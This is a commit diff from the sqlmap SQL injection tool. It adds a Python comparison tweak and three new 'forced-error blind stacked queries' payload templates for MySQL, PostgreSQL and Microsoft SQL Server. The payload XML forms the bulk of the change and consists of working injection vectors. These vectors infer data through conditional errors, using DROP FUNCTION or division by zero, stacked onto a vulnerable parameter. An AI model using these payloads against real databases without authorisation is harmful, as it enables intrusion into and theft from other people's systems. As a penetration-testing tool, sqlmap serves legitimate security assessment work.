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world premiere of "forced-error blind stacked" payloads (spent 3 hours on pgsql)

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This commit is contained in:
Miroslav Stampar 2011-01-21 18:32:10 +00:00
parent 79e4b1efd5
commit 7c4c79477d
2 changed files with 67 additions and 0 deletions
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6
lib/controller/checks.py
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@ -50,6 +50,7 @@ from lib.core.exception import sqlmapUserQuitException
from lib.core.session import setDynamicMarkings from lib.core.session import setDynamicMarkings
from lib.core.settings import CONSTANT_RATIO from lib.core.settings import CONSTANT_RATIO
from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import UNKNOWN_DBMS_VERSION
from lib.core.settings import LOWER_RATIO_BOUND
from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
@ -315,6 +316,11 @@ def checkSqlInjection(place, parameter, value):
kb.matchRatio = None kb.matchRatio = None
_ = Request.queryPage(cmpPayload, place, raise404=False) _ = Request.queryPage(cmpPayload, place, raise404=False)
# If in the comparing stage there was an error
# then anything non-error will be considered as True
if kb.errorIsNone and kb.matchRatio is None:
kb.matchRatio = LOWER_RATIO_BOUND
# Perform the test's True request # Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False) trueResult = Request.queryPage(reqPayload, place, raise404=False)

61
xml/payloads.xml
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@ -1558,6 +1558,67 @@ Formats:
<!-- End of stacked queries tests --> <!-- End of stacked queries tests -->
<!-- Forced-error blind stacked queries tests -->
<test>
<title>MySQL forced-error blind stacked queries</title>
<stype>1</stype>
<level>3</level>
<risk>0</risk>
<clause>0</clause>
<where>1</where>
<vector>; IF(([INFERENCE]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</vector>
<request>
<payload>; IF(([RANDNUM]=[RANDNUM]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</payload>
<comment>#</comment>
</request>
<response>
<comparison>; IF(([RANDNUM]=[RANDNUM1]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</comparison>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>PostgreSQL forced-error blind stacked queries</title>
<stype>1</stype>
<level>3</level>
<risk>0</risk>
<clause>0</clause>
<where>2</where>
<vector>; SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END);</vector>
<request>
<payload>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END);</payload>
<comment>--</comment>
</request>
<response>
<comparison>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END);</comparison>
</response>
</test>
<test>
<title>Microsoft SQL Server/Sybase forced-error blind stacked queries</title>
<stype>1</stype>
<level>3</level>
<risk>0</risk>
<clause>0</clause>
<where>1</where>
<vector>; IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</vector>
<request>
<payload>; IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</payload>
<comment>--</comment>
</request>
<response>
<comparison>; IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</comparison>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<os>Windows</os>
</details>
</test>
<!-- End of forced-error blind stacked queries tests -->
<!-- AND time-based blind tests --> <!-- AND time-based blind tests -->
<test> <test>
<title>MySQL &gt; 5.0.11 AND time-based blind</title> <title>MySQL &gt; 5.0.11 AND time-based blind</title>